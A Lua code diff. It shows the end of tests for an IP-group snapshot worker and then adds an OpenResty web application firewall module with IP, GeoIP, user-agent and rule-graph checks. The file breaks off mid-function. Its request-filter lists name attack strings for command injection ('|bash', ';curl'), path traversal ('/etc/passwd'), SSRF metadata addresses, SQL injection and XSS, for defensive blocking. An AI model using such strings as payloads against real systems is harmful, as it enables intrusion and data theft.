data[key] = value
return true, nil, false
end
local worker = assert(loadfile(module_path))()
assert(worker.init({
shared = dict,
timer_every = function(_, callback) callbacks[1] = callback return true end,
read_checksum = function() return disk_checksum end,
read_json = function() json_reads = json_reads + 1 return disk_raw end,
decode = decode,
max_snapshot_bytes = 20 * 1024 * 1024,
log_warning = function(message) warnings[#warnings + 1] = message end,
}))
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "worker starts from committed v1")
locks = {}
disk_checksum = "v2"
disk_raw = "valid-v2"
callbacks[1](false)
assert_equal(ordinary_writes, 0, "snapshot publication must never use evicting set")
assert_equal(json_reads, 1, "capacity failure reads changed JSON once")
assert_equal(data.ip_groups_version, "v1", "capacity failure preserves commit pointer")
assert_equal(data.ip_groups_previous_version, "v0", "capacity failure preserves previous metadata")
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "capacity failure preserves current raw")
assert_equal(data["ip_groups_raw:v0"], "valid-v0", "capacity failure preserves previous raw")
assert_equal(data["ip_groups_raw:v2"], nil, "capacity failure does not publish new raw")
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "capacity failure preserves worker-local snapshot")
assert_equal(#warnings, 1, "capacity failure is logged")
end
local function test_previous_metadata_failure_keeps_committed_snapshot_without_cleanup()
local data = {
ip_groups_version = "v1",
ip_groups_previous_version = "v0",
["ip_groups_raw:v1"] = "valid-v1",
["ip_groups_raw:v0"] = "valid-v0",
}
local locks = {}
local callback
local checksum = "v1"
local raw = "valid-v1"
local deletes = 0
local warnings = {}
local dict = {}
function dict:get(key) return data[key] end
function dict:delete(key) deletes = deletes + 1 data[key] = nil return true end
function dict:add(key, value)
if locks[key] then return false end
locks[key] = value
return true
end
function dict:safe_add(key, value) return dict:add(key, value) end
function dict:set(key, value) data[key] = value return true end
function dict:safe_set(key, value)
if key == "ip_groups_previous_version" then return nil, "no memory", false end
data[key] = value
return true, nil, false
end
local worker = assert(loadfile(module_path))()
assert(worker.init({
shared = dict,
timer_every = function(_, value) callback = value return true end,
read_checksum = function() return checksum end,
read_json = function() return raw end,
decode = decode,
max_snapshot_bytes = 20 * 1024 * 1024,
log_warning = function(message) warnings[#warnings + 1] = message end,
}))
locks = {}
checksum = "v2"
raw = "valid-v2"
callback(false)
assert_equal(data.ip_groups_version, "v2", "successful commit pointer remains authoritative")
assert_equal(data.ip_groups_previous_version, "v0", "failed previous metadata write is not forced")
assert_equal(data["ip_groups_raw:v2"], "valid-v2", "new committed raw remains")
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "old current raw remains when cleanup is skipped")
assert_equal(data["ip_groups_raw:v0"], "valid-v0", "old previous raw remains when cleanup is skipped")
assert_equal(deletes, 0, "previous metadata failure skips all cleanup")
assert_equal(worker.current().groups["2"].ip_list[1], "198.51.100.2", "worker adopts valid committed v2")
assert_equal(#warnings, 1, "previous metadata failure is logged")
end
local function test_oversized_raw_is_rejected_before_shared_publication()
local data = { ip_groups_version = "v1", ["ip_groups_raw:v1"] = "valid-v1" }
local locks = {}
local callback
local checksum = "v1"
local raw = "valid-v1"
local shared_writes = 0
local warnings = {}
local dict = {}
function dict:get(key) return data[key] end
function dict:delete(key) data[key] = nil return true end
function dict:add(key, value) if locks[key] then return false end locks[key] = value return true end
function dict:safe_add(key, value) return dict:add(key, value) end
function dict:set(key, value) shared_writes = shared_writes + 1 data[key] = value return true end
function dict:safe_set(key, value) shared_writes = shared_writes + 1 data[key] = value return true, nil, false end
local worker = assert(loadfile(module_path))()
assert(worker.init({
shared = dict,
timer_every = function(_, value) callback = value return true end,
read_checksum = function() return checksum end,
read_json = function() return raw end,
decode = decode,
max_snapshot_bytes = 4,
log_warning = function(message) warnings[#warnings + 1] = message end,
}))
locks = {}
checksum = "v2"
raw = "valid-v2"
callback(false)
assert_equal(shared_writes, 0, "oversized raw is rejected before shared writes")
assert_equal(data.ip_groups_version, "v1", "oversized raw preserves commit pointer")
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "oversized raw preserves committed data")
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "oversized raw preserves worker-local snapshot")
assert_equal(#warnings, 1, "oversized raw rejection is logged")
end
test_capacity_failure_never_evicts_committed_snapshot()
test_previous_metadata_failure_keeps_committed_snapshot_without_cleanup()
test_oversized_raw_is_rejected_before_shared_publication()
return true
@@ -0,0 +1,947 @@
local _M = {}
local rules_config
local ip_groups_config
local ip_groups_runtime
local pow_runtime
local geo_lookup
local geo_module
local geo_profiles = { city = false, country = false }
local function read_file(path)
local file, err = io.open(path, "r")
if not file then
return nil, err
end
local content = file:read("*a")
file:close()
return content
end
local function load_json(path)
local content, err = read_file(path)
if not content or content == "" then
return nil, err or "empty file"
end
local decoded, decode_err = require("cjson.safe").decode(content)
if not decoded then
return nil, decode_err or "invalid JSON"
end
return decoded
end
local function warn_rate_limited(key, ...)
local dict = ngx.shared and ngx.shared.openflare_waf_config
if not dict or not dict.add or dict:add(key, true, 60) then
ngx.log(ngx.WARN, ...)
end
end
local function array_or_empty(value)
if type(value) == "table" then return value end
return {}
end
local function file_exists(path)
local file = io.open(path, "rb")
if not file then return false end
file:close()
return true
end
local function init_geo_databases(country_path, city_path, path_exists, region_required)
local ok, module_or_error = pcall(require, "resty.maxminddb")
if not ok or not module_or_error then
warn_rate_limited("_geo_module_unavailable", "openflare waf GeoIP module unavailable: ", module_or_error)
return
end
geo_module = module_or_error
local profiles = {}
if path_exists(city_path) then profiles.city = city_path end
if path_exists(country_path) then profiles.country = country_path end
if not profiles.city and region_required then
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database unavailable; region match takes false branch")
end
if not profiles.country and not profiles.city then
warn_rate_limited("_geo_database_unavailable", "openflare waf GeoIP databases unavailable")
return
end
local function initialize_profile(profile, path)
local called, init_result, init_error = pcall(geo_module.init, { [profile] = path })
if not called or init_result ~= true then
return false, init_error or init_result
end
geo_profiles[profile] = true
return true
end
local city_initialized, city_error = false, nil
if profiles.city then
city_initialized, city_error = initialize_profile("city", profiles.city)
if not city_initialized and region_required then
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database initialization failed; region match takes false branch: ", city_error)
end
end
local country_initialized, country_error = false, nil
if profiles.country then
country_initialized, country_error = initialize_profile("country", profiles.country)
end
if not city_initialized and not country_initialized then
warn_rate_limited("_geo_database_unavailable", "openflare waf GeoIP database initialization failed: ", country_error or city_error)
end
end
local function lookup_geo_profile(ip, profile)
if not geo_module or not geo_profiles[profile] then return nil end
local ok, result, lookup_error = pcall(geo_module.lookup, ip, nil, profile)
if not ok or not result then
warn_rate_limited("_geo_lookup_failed_" .. profile, "openflare waf GeoIP ", profile, " lookup failed: ", lookup_error or result)
return nil
end
return result
end
local function default_geo_lookup(ip, region_required)
local result = lookup_geo_profile(ip, "city")
local from_city = result ~= nil
if not result then result = lookup_geo_profile(ip, "country") end
if not result then return nil, nil end
local country = result.country and result.country.iso_code or nil
local subdivision
if from_city then
subdivision = result.most_specific_subdivision and result.most_specific_subdivision.iso_code or nil
if not subdivision and result.subdivisions and result.subdivisions[1] then
subdivision = result.subdivisions[1].iso_code
end
elseif region_required then
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database unavailable; region match takes false branch")
end
country = country and string.upper(country) or nil
subdivision = subdivision and string.upper(subdivision) or nil
local region = subdivision
if country and subdivision and not string.match(subdivision, "^[A-Z][A-Z]%-") then
region = country .. "-" .. subdivision
end
return country, region
end
local function config_geo_requirements(config)
local uses_geo, uses_region = false, false
for _, rule in ipairs(array_or_empty(config.rule_groups)) do
for _, node in pairs((rule.graph or {}).nodes or {}) do
if node.type == "geo_match" then
uses_geo = true
local node_config = node.config or {}
if type(node_config.regions) == "table" and #node_config.regions > 0 then uses_region = true end
end
end
end
return uses_geo, uses_region
end
function _M.init(options)
options = options or {}
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
-- Always apply explicit test/runtime injections; only short-circuit cold disk load once.
if options.config then
rules_config = options.config
elseif not rules_config then
local err
rules_config, err = load_json(runtime_dir .. "/waf_config.json")
assert(rules_config, "load waf_config.json failed: " .. tostring(err))
end
if options.ip_groups then
ip_groups_config = options.ip_groups
-- Drop stale compiled matchers when tests inject a fresh snapshot table.
local groups = (ip_groups_config.groups or {})
for _, group in pairs(groups) do
if type(group) == "table" then group._matcher = nil end
end
elseif not ip_groups_config and not ip_groups_runtime then
ip_groups_runtime = options.ip_groups_runtime or require("waf.ip_groups")
local initialized, init_error = ip_groups_runtime.init({ runtime_dir = runtime_dir })
assert(initialized, "initialize WAF IP groups failed: " .. tostring(init_error))
end
if options.pow then
pow_runtime = options.pow
elseif not pow_runtime then
pow_runtime = require("pow.runtime")
end
if options.geo_lookup then
geo_lookup = options.geo_lookup
elseif not geo_lookup then
local uses_geo, uses_region = config_geo_requirements(rules_config)
if uses_geo then
init_geo_databases(
options.country_mmdb_path or "__OPENFLARE_COUNTRY_MMDB_PATH__",
options.city_mmdb_path or "__OPENFLARE_CITY_MMDB_PATH__",
options.geo_file_exists or file_exists,
uses_region
)
end
geo_lookup = default_geo_lookup
end
return true
end
-- Task 7 can atomically replace the worker-local IP group snapshot through this seam.
function _M.replace_ip_groups(snapshot)
ip_groups_config = snapshot or { groups = {} }
end
local function list_contains(items, value)
if type(items) ~= "table" or not value then return false end
value = string.upper(value)
for _, item in ipairs(items) do
if string.upper(tostring(item)) == value then return true end
end
return false
end
local function parse_ipv4(value)
local a, b, c, d = string.match(value or "", "^(%d+)%.(%d+)%.(%d+)%.(%d+)$")
if not a then return nil end
a, b, c, d = tonumber(a), tonumber(b), tonumber(c), tonumber(d)
if a > 255 or b > 255 or c > 255 or d > 255 then return nil end
return ((a * 256 + b) * 256 + c) * 256 + d
end
local function split_ipv6_side(value)
local result = {}
if value == "" then return result end
for part in string.gmatch(value, "[^:]+") do
if string.find(part, ".", 1, true) then
local ipv4 = parse_ipv4(part)
if not ipv4 then return nil end
result[#result + 1] = math.floor(ipv4 / 65536)
result[#result + 1] = ipv4 % 65536
else
if #part > 4 or not string.match(part, "^[%x]+$") then return nil end
local number = tonumber(part, 16)
if not number or number > 65535 then return nil end
result[#result + 1] = number
end
end
return result
end
local function parse_ipv6(value)
value = string.lower(value or "")
local compressed_at = string.find(value, "::", 1, true)
if compressed_at and string.find(value, "::", compressed_at + 2, true) then return nil end
local left, right
if compressed_at then
left = split_ipv6_side(string.sub(value, 1, compressed_at - 1))
right = split_ipv6_side(string.sub(value, compressed_at + 2))
else
if string.sub(value, 1, 1) == ":" or string.sub(value, -1) == ":" then return nil end
left, right = split_ipv6_side(value), {}
end
if not left or not right then return nil end
local missing = 8 - #left - #right
if (compressed_at and missing < 1) or (not compressed_at and missing ~= 0) then return nil end
local result = {}
for _, number in ipairs(left) do result[#result + 1] = number end
for _ = 1, missing do result[#result + 1] = 0 end
for _, number in ipairs(right) do result[#result + 1] = number end
if #result ~= 8 then return nil end
return result
end
local function ipv6_key(groups)
return table.concat(groups, ":")
end
local function preparse_cidr(cidr)
local base, bits = string.match(cidr or "", "^([^/]+)/(%d+)$")
bits = tonumber(bits)
if not base or not bits then return nil end
local base_v4 = parse_ipv4(base)
if base_v4 then
if bits < 0 or bits > 32 then return nil end
if bits == 0 then return { kind = "v4", bits = 0, network = 0, size = 0 } end
local size = 2 ^ (32 - bits)
return { kind = "v4", bits = bits, network = base_v4 - (base_v4 % size), size = size }
end
local base_v6 = parse_ipv6(base)
if not base_v6 or bits < 0 or bits > 128 then return nil end
return { kind = "v6", bits = bits, groups = base_v6 }
end
local function ipv4_in_preparsed(ip_number, cidr)
if cidr.bits == 0 then return true end
return ip_number - (ip_number % cidr.size) == cidr.network
end
local function ipv6_in_preparsed(ip_groups, cidr)
local full_groups, remaining_bits = math.floor(cidr.bits / 16), cidr.bits % 16
for index = 1, full_groups do
if ip_groups[index] ~= cidr.groups[index] then return false end
end
if remaining_bits > 0 then
local size = 2 ^ (16 - remaining_bits)
local index = full_groups + 1
if math.floor(ip_groups[index] / size) ~= math.floor(cidr.groups[index] / size) then
return false
end
end
return true
end
-- Prefer resty.ipmatcher (C radix). Fallback: exact hash + pre-parsed CIDR list only.
local resty_ipmatcher
local resty_ipmatcher_loaded = false
local function load_resty_ipmatcher()
if resty_ipmatcher_loaded then return resty_ipmatcher end
resty_ipmatcher_loaded = true
local ok, mod = pcall(require, "resty.ipmatcher")
if ok and type(mod) == "table" and type(mod.new) == "function" then
resty_ipmatcher = mod
else
resty_ipmatcher = nil
end
return resty_ipmatcher
end
local empty_ip_matcher = {
empty = true,
match = function() return false end,
}
local function compile_fallback_ip_matcher(entries)
local exact, cidrs = {}, {}
for _, item in ipairs(entries) do
if string.find(item, "/", 1, true) then
local parsed = preparse_cidr(item)
if parsed then cidrs[#cidrs + 1] = parsed end
else
exact[item] = true
local v6 = parse_ipv6(item)
if v6 then exact["v6:" .. ipv6_key(v6)] = true end
end
end
return {
empty = false,
match = function(_, ip, _bin, ip_v4, ip_v6)
if exact[ip] then return true end
if ip_v6 and exact["v6:" .. ipv6_key(ip_v6)] then return true end
if not ip_v4 and not ip_v6 then
ip_v4 = parse_ipv4(ip)
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
end
for _, cidr in ipairs(cidrs) do
if cidr.kind == "v4" and ip_v4 and ipv4_in_preparsed(ip_v4, cidr) then
return true
end
if cidr.kind == "v6" and ip_v6 and ipv6_in_preparsed(ip_v6, cidr) then
return true
end
end
return false
end,
}
end
local function compile_ip_matcher(entries)
local list = {}
for _, item in ipairs(array_or_empty(entries)) do
if type(item) == "string" and item ~= "" then
list[#list + 1] = item
end
end
if #list == 0 then return empty_ip_matcher end
local mod = load_resty_ipmatcher()
if mod then
local matcher, err = mod.new(list)
if matcher then
return {
empty = false,
match = function(_, ip, bin_ip)
if bin_ip and matcher.match_bin then
local ok = matcher:match_bin(bin_ip)
if ok then return true end
end
return matcher:match(ip) == true
end,
}
end
warn_rate_limited("_ipmatcher_new_failed", "openflare waf ipmatcher.new failed: ", err)
end
return compile_fallback_ip_matcher(list)
end
local node_ip_matcher_cache = setmetatable({}, { __mode = "k" })
local function matcher_for_node_ip_config(config)
config = config or {}
local cached = node_ip_matcher_cache[config]
if cached then return cached end
local entries = {}
for _, item in ipairs(array_or_empty(config.ips)) do entries[#entries + 1] = item end
for _, item in ipairs(array_or_empty(config.cidrs)) do entries[#entries + 1] = item end
local matcher = compile_ip_matcher(entries)
node_ip_matcher_cache[config] = matcher
return matcher
end
local function matcher_for_ip_group(group)
if type(group) ~= "table" then return empty_ip_matcher end
if group._matcher then return group._matcher end
group._matcher = compile_ip_matcher(group.ip_list)
return group._matcher
end
local function matches_ip_values(config, ip)
if type(ip) ~= "string" or ip == "" then return false end
local bin_ip = ngx.var and ngx.var.binary_remote_addr or nil
local ip_v4, ip_v6
-- Parse client IP once for pure-Lua fallback CIDR/exact-v6 paths.
if not load_resty_ipmatcher() then
ip_v4 = parse_ipv4(ip)
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
end
local node_matcher = matcher_for_node_ip_config(config)
if not node_matcher.empty and node_matcher:match(ip, bin_ip, ip_v4, ip_v6) then
return true
end
local snapshot = ip_groups_config or (ip_groups_runtime and ip_groups_runtime.current())
local groups = (snapshot or {}).groups or {}
for _, id in ipairs(array_or_empty(config.ip_group_ids)) do
local group = groups[tostring(id)]
if group and group.enabled then
local matcher = matcher_for_ip_group(group)
if matcher:match(ip, bin_ip, ip_v4, ip_v6) then return true end
end
end
return false
end
local function ua_trim(value)
return (string.gsub(value or "", "^%s*(.-)%s*$", "%1"))
end
local function ua_label_set(items)
if type(items) ~= "table" then return nil, false end
local set, count = {}, 0
for _, item in ipairs(items) do
set[tostring(item)] = true
count = count + 1
end
return set, count > 0
end
local function match_ua_rules(ua_lower, rules, fallback)
if ua_lower == "" then return "Unknown" end
for _, rule in ipairs(rules) do
local matched = false
for _, token in ipairs(rule.contains or {}) do
if string.find(ua_lower, token, 1, true) then
matched = true
break
end
end
if not matched and type(rule.all_of) == "table" and #rule.all_of > 0 then
matched = true
for _, token in ipairs(rule.all_of) do
if not string.find(ua_lower, token, 1, true) then
matched = false
break
end
end
end
if matched then
local excluded = false
for _, token in ipairs(rule.none_of or {}) do
if string.find(ua_lower, token, 1, true) then
excluded = true
break
end
end
if not excluded then return rule.label end
end
end
return fallback
end
-- Mirrors internal/repository/analytics/browser.go browserRules / osRules.
local browser_rules = {
{ label = "WeChat", contains = { "micromessenger" } },
{ label = "Postman", contains = { "postman" } },
{ label = "CLI", contains = { "curl/", "wget/" } },
{ label = "Edge", contains = { "edg/", "edgios/", "edga/" } },
{ label = "Opera", contains = { "opr/", "opera" } },
{ label = "Firefox", contains = { "firefox", "fxios" } },
{ label = "Chrome", contains = { "crios", "chrome" }, none_of = { "chromium" } },
{ label = "Chromium", contains = { "chromium" } },
{ label = "Safari", contains = { "safari" } },
{ label = "Bot", contains = { "bot", "spider", "crawler", "slurp" } },
}
local os_rules = {
{ label = "Android", contains = { "android" } },
{ label = "iOS", contains = { "iphone", "ipad", "ipod", "ios" } },
{ label = "Windows", contains = { "windows" } },
{ label = "macOS", contains = { "mac os x", "macintosh", "macos" } },
{ label = "Chrome OS", contains = { "cros" } },
{ label = "Linux", contains = { "linux" } },
{ label = "Bot", contains = { "bot", "spider", "crawler" } },
}
local function parse_browser_name_lower(ua_lower)
return match_ua_rules(ua_lower, browser_rules, "Other")
end
local function parse_os_name_lower(ua_lower)
return match_ua_rules(ua_lower, os_rules, "Other")
end
local function ua_matches_custom_patterns(ua, patterns)
for _, pattern in ipairs(array_or_empty(patterns)) do
if type(pattern) == "string" and pattern ~= "" then
local ok, matched = pcall(function()
return string.find(ua, pattern) ~= nil
end)
if ok and matched then return true end
end
end
return false
end
local function matches_ua_check(config)
config = config or {}
local ua = ua_trim(ngx.var.http_user_agent or "")
if config.require_ua and ua == "" then return false end
local ua_lower = string.lower(ua)
local browser = parse_browser_name_lower(ua_lower)
local os_name = parse_os_name_lower(ua_lower)
if config.block_common_bots and (browser == "Bot" or os_name == "Bot") then return false end
-- Abnormal excludes search-engine / crawler Bot labels; use block_common_bots for those.
if config.block_abnormal_ua and (browser == "Other" or browser == "Unknown") then
return false
end
if config.block_custom_ua and ua_matches_custom_patterns(ua, config.custom_ua_patterns) then
return false
end
local browser_set, has_browsers = ua_label_set(config.browsers)
local os_set, has_os = ua_label_set(config.operating_systems)
if not has_browsers and not has_os then return true end
local browser_ok = has_browsers and browser_set[browser] == true
local os_ok = has_os and os_set[os_name] == true
if has_browsers and not has_os then return browser_ok end
if has_os and not has_browsers then return os_ok end
local mode = config.match_mode
if mode ~= "and" and mode ~= "or" then mode = "or" end
if mode == "and" then return browser_ok and os_ok end
return browser_ok or os_ok
end
local security_body_max = 65536
local function url_decode(value)
value = string.gsub(value or "", "+", " ")
value = string.gsub(value, "%%(%x%x)", function(hex)
return string.char(tonumber(hex, 16))
end)
return value
end
local function security_decode(value)
local once = url_decode(value)
local twice = url_decode(once)
return string.lower(once), string.lower(twice)
end
local function security_match_any(haystacks, patterns)
for _, hay in ipairs(haystacks) do
if type(hay) == "string" and hay ~= "" then
for _, pattern in ipairs(patterns) do
if string.find(hay, pattern, 1, true) then return true end
end
end
end
return false
end
-- SQL sleep/benchmark: require digit arg to avoid product names like sleep(better).
local function security_match_sql_timed(haystacks)
for _, hay in ipairs(haystacks) do
if type(hay) == "string" and hay ~= "" then
if string.find(hay, "sleep(%d", 1, true) or string.find(hay, "benchmark(%d", 1, true) then
return true
end
-- Also accept sleep( 1 ) with optional spaces: sleep( + digit
local i = 1
while true do
local s, e = string.find(hay, "sleep(", i, true)
if not s then break end
local rest = string.sub(hay, e + 1)
if string.match(rest, "^%s*%d") then return true end
i = e + 1
end
i = 1
while true do
local s, e = string.find(hay, "benchmark(", i, true)
if not s then break end
local rest = string.sub(hay, e + 1)
if string.match(rest, "^%s*%d") then return true end
i = e + 1
end
end
end
return false
end
-- XSS: tag/event handlers and URI schemes; skip prose like "javascript: the good parts".
local function security_match_xss(haystacks)
local tag_like = { "<script", "<iframe", "onerror=", "onload=", "onmouseover=", "document.cookie" }
for _, hay in ipairs(haystacks) do
if type(hay) == "string" and hay ~= "" then
for _, pattern in ipairs(tag_like) do
if string.find(hay, pattern, 1, true) then return true end
end
-- javascript: as URI scheme with code-like body (alert/void/'/") not prose titles.
local i = 1
while true do
local s, e = string.find(hay, "javascript:", i, true)
if not s then break end
local prev_ok = (s == 1) or string.match(string.sub(hay, s - 1, s - 1), "[=\"'(<;,]")
if prev_ok then
local rest = string.sub(hay, e + 1)
if string.match(rest, "^%s*[\"'`(]")
or string.match(rest, "^%s*alert%s*%(")
or string.match(rest, "^%s*void%s*%(")
or string.match(rest, "^%s*eval%s*%(")
or string.match(rest, "^%s*window%.")
or string.match(rest, "^%s*document%.") then
return true
end
end
i = e + 1
end
if string.find(hay, "eval(", 1, true) then
local _, e = string.find(hay, "eval(", 1, true)
local rest = string.sub(hay, e + 1)
if string.match(rest, "^%s*[\"'`(]") then return true end
end
end
end
return false
end
local function security_append_decoded(list, value)
if type(value) ~= "string" or value == "" then return end
local once, twice = security_decode(value)
list[#list + 1] = once
if twice ~= once then list[#list + 1] = twice end
end
local function security_collect_args(list)
if not ngx.req or not ngx.req.get_uri_args then
security_append_decoded(list, ngx.var.args or "")
return
end
local args = ngx.req.get_uri_args(100)
if type(args) ~= "table" then return end
for key, value in pairs(args) do
security_append_decoded(list, tostring(key))
if type(value) == "table" then
for _, item in ipairs(value) do security_append_decoded(list, tostring(item)) end
else
security_append_decoded(list, tostring(value))
end
end
end
-- Only Cookie / Referer for injection surfaces. Generic browser headers (UA, Accept, …)
-- are high-volume and high false-positive / CPU cost if scanned for SQL/cmd/XSS.
local function security_collect_sensitive_headers(list)
local cookie = ngx.var.http_cookie
if type(cookie) == "string" and cookie ~= "" then
security_append_decoded(list, cookie)
end
local referer = ngx.var.http_referer
if type(referer) == "string" and referer ~= "" then
security_append_decoded(list, referer)
end
end
local function security_read_body()
local content_length = tonumber(ngx.var.content_length or "") or 0
if content_length <= 0 or content_length > security_body_max then return nil end
if not ngx.req or not ngx.req.read_body or not ngx.req.get_body_data then return nil end
local ok = pcall(ngx.req.read_body)
if not ok then return nil end
local body = ngx.req.get_body_data()
if type(body) ~= "string" or body == "" then return nil end
return body
end
local path_traversal_patterns = {
"../", "..\\", "..%2f", "..%5c", "%2e%2e/", "%2e%2e\\", "%252e%252e",
"....//", "/etc/passwd",
}
local file_inclusion_patterns = {
"php://", "file://", "zip://", "data://text", "expect://", "/etc/passwd",
"/proc/self", "%00",
}
-- Prefer attack-shaped tokens; avoid bare "&&"/"||" and bare shell names.
local command_patterns = {
";wget", ";curl", ";bash", ";sh ", "|bash", "|sh ", "|sh\t", "`id`", "$(id)",
"&&wget", "&&curl", "&&bash", "&&sh ", "||wget", "||curl", "||bash",
"/bin/sh ", "/bin/bash ", "cmd.exe /c", "powershell -", "powershell.exe",
}
-- URL-shaped only: bare "localhost"/"0.0.0.0" match Chrome UA / normal text.
local ssrf_patterns = {
"http://127.0.0.1", "https://127.0.0.1", "http://localhost", "https://localhost",
"http://0.0.0.0", "https://0.0.0.0", "http://[::1]", "https://[::1]",
"://169.254.", "169.254.169.254", "metadata.google",
"file://", "gopher://", "dict://",
}
local upload_patterns = {
".php.", ".jsp.", ".asp.", ".aspx.", ".phtml", ".phar",
"application/x-php", "application/x-httpd-php",
}
local xxe_patterns = {
"<!entity", " system \"", " system '", "file://",
}
-- Keep encoded CRLF; bare %0a alone is too common in benign encoded text.
local crlf_patterns = {
"%0d%0a", "\r\n",
}
local sql_static_patterns = {
"union select", " or 1=1", "' or '", "\" or \"",
"information_schema", "xp_cmdshell", "load_file(", " into outfile",
"/**/", "/*!", "*/--", "@@version",
}
local function security_flag_enabled(value)
return value == true or value == 1 or value == "true" or value == "1"
end
local function security_append_list(dst, src)
for _, item in ipairs(src) do dst[#dst + 1] = item end
end
local function matches_security_check(config)
config = config or {}
local sql_injection = security_flag_enabled(config.sql_injection)
local path_traversal = security_flag_enabled(config.path_traversal)
local command_injection = security_flag_enabled(config.command_injection)
local xss = security_flag_enabled(config.xss)
local ssrf = security_flag_enabled(config.ssrf)
local file_inclusion = security_flag_enabled(config.file_inclusion)
local malicious_upload = security_flag_enabled(config.malicious_upload)
local xxe = security_flag_enabled(config.xxe)
local crlf_injection = security_flag_enabled(config.crlf_injection)
if not (sql_injection or path_traversal or command_injection or xss or ssrf
or file_inclusion or malicious_upload or xxe or crlf_injection) then
return true
end
-- Collect only what enabled checks need (P1). Path uses uri only (not request_uri)
-- to avoid re-scanning query; query is collected separately when needed (P0).
local need_path = path_traversal or file_inclusion
local need_query = path_traversal or file_inclusion or sql_injection or command_injection
or xss or ssrf or crlf_injection
local need_sensitive_headers = sql_injection or command_injection or xss or ssrf or crlf_injection
local need_body = malicious_upload or xxe
or ((sql_injection or path_traversal or command_injection or xss or ssrf
or file_inclusion or crlf_injection)
and (tonumber(ngx.var.content_length or "") or 0) > 0)
local path_inputs, query_inputs, header_inputs, body_inputs = {}, {}, {}, {}
if need_path then
security_append_decoded(path_inputs, ngx.var.uri or "")
end
if need_query then
security_collect_args(query_inputs)
end
if need_sensitive_headers then
security_collect_sensitive_headers(header_inputs)
end
local body
if need_body then body = security_read_body() end
if body then security_append_decoded(body_inputs, body) end
if path_traversal or file_inclusion then
local pq = {}
security_append_list(pq, path_inputs)
security_append_list(pq, query_inputs)
security_append_list(pq, body_inputs)
if path_traversal and security_match_any(pq, path_traversal_patterns) then return false end
if file_inclusion and security_match_any(pq, file_inclusion_patterns) then return false end
end
if sql_injection or command_injection or xss or ssrf or crlf_injection then
local qhb = {}
security_append_list(qhb, query_inputs)
security_append_list(qhb, header_inputs)
security_append_list(qhb, body_inputs)
if sql_injection then
if security_match_any(qhb, sql_static_patterns) or security_match_sql_timed(qhb) then
return false
end
end
if command_injection and security_match_any(qhb, command_patterns) then return false end
if xss and security_match_xss(qhb) then return false end
if ssrf and security_match_any(qhb, ssrf_patterns) then return false end
if crlf_injection and security_match_any(qhb, crlf_patterns) then return false end
end
if malicious_upload and body then
local content_type = string.lower(ngx.var.content_type or "")
if string.find(content_type, "multipart/", 1, true) then
if security_match_any(body_inputs, upload_patterns) then return false end
end
end
if xxe and body then
local content_type = string.lower(ngx.var.content_type or "")
if string.find(content_type, "xml", 1, true) or string.find(string.lower(body), "<?xml", 1, true) then
if security_match_any(body_inputs, xxe_patterns) then return false end
end
end
return true
end
local function fail_closed(reason)
local dict = ngx.shared and ngx.shared.openflare_waf_config
if not dict or not dict.add or dict:add("_damaged_graph_logged", true, 60) then
ngx.log(ngx.ERR, "openflare waf damaged runtime graph: ", reason)
end
ngx.ctx.openflare_waf_blocked = true
ngx.status = 500
ngx.header["Content-Type"] = "text/plain; charset=utf-8"
ngx.say("OpenFlare WAF runtime error")
return ngx.exit(500)
end
local function render_block(config)
config = config or {}
local status = tonumber(config.status_code) or 403
ngx.ctx.openflare_waf_blocked = true
ngx.status = status
local body = config.response_body or ""
if body ~= "" then
ngx.header["Content-Type"] = "text/html; charset=utf-8"
ngx.say(body)
end
return ngx.exit(status)
end
local function execute_graph(graph)
if type(graph) ~= "table" or type(graph.nodes) ~= "table" or type(graph.entry) ~= "string" then
return nil, "invalid graph"
end
local node_count = 0
for _ in pairs(graph.nodes) do node_count = node_count + 1 end
local current = graph.entry
for _ = 1, node_count do
local node = graph.nodes[current]
if type(node) ~= "table" or type(node.type) ~= "string" then
return nil, "missing node " .. tostring(current)
end
if node.type == "allow" then
return { kind = "allow" }
end
if node.type == "block" then
return { kind = "block", config = node.config }
end
local handle
if node.type == "start" then
handle = "next"
elseif node.type == "ip_match" then
handle = matches_ip_values(node.config or {}, ngx.var.remote_addr or "") and "true" or "false"
elseif node.type == "geo_match" then
local config = node.config or {}
local region_required = type(config.regions) == "table" and #config.regions > 0
local country, region = geo_lookup(ngx.var.remote_addr or "", region_required)
handle = (list_contains(config.countries, country) or list_contains(config.regions, region)) and "true" or "false"
elseif node.type == "ua_check" then
handle = matches_ua_check(node.config or {}) and "true" or "false"
elseif node.type == "security_check" then
handle = matches_security_check(node.config or {}) and "true" or "false"
elseif node.type == "pow" then
if pow_runtime.evaluate(node.config or {}) ~= true then
return { kind = "takeover" }
end
handle = "next"
else
return nil, "unknown node type " .. node.type
end
if type(node.next) ~= "table" or type(node.next[handle]) ~= "string" then
return nil, "missing " .. handle .. " edge from " .. current
end
current = node.next[handle]
end
return nil, "graph exceeded maximum steps"
end
local function active_rules(site)
local by_id, result = {}, {}
for _, rule in ipairs(array_or_empty(rules_config.rule_groups)) do
by_id[tostring(rule.id)] = rule
if rule.enabled and rule.is_global then result[#result + 1] = rule end
end
for _, binding in ipairs(array_or_empty(rules_config.bindings)) do
if binding.site_name == site then
for _, id in ipairs(array_or_empty(binding.rule_group_ids)) do
local rule = by_id[tostring(id)]
if rule and rule.enabled and not rule.is_global then result[#result + 1] = rule end
end
break
end
end
return result
end
local function is_internal_pow_continuation()
if not ngx.req or not ngx.req.is_internal or not ngx.req.is_internal() then return false end
local uri = ngx.var.uri or ""
local api_prefix = "/.within.website/x/cmd/anubis/api/"
local static_prefix = "/.within.website/x/cmd/anubis/static/"
return string.sub(uri, 1, #api_prefix) == api_prefix or string.sub(uri, 1, #static_prefix) == static_prefix
end
function _M.check()
if not rules_config then
return fail_closed("runtime not initialized")
end
if is_internal_pow_continuation() then
ngx.ctx.openflare_pow_takeover = true
return
end
for _, rule in ipairs(active_rules(ngx.var.openflare_waf_site or "")) do
local decision, err = execute_graph(rule.graph)
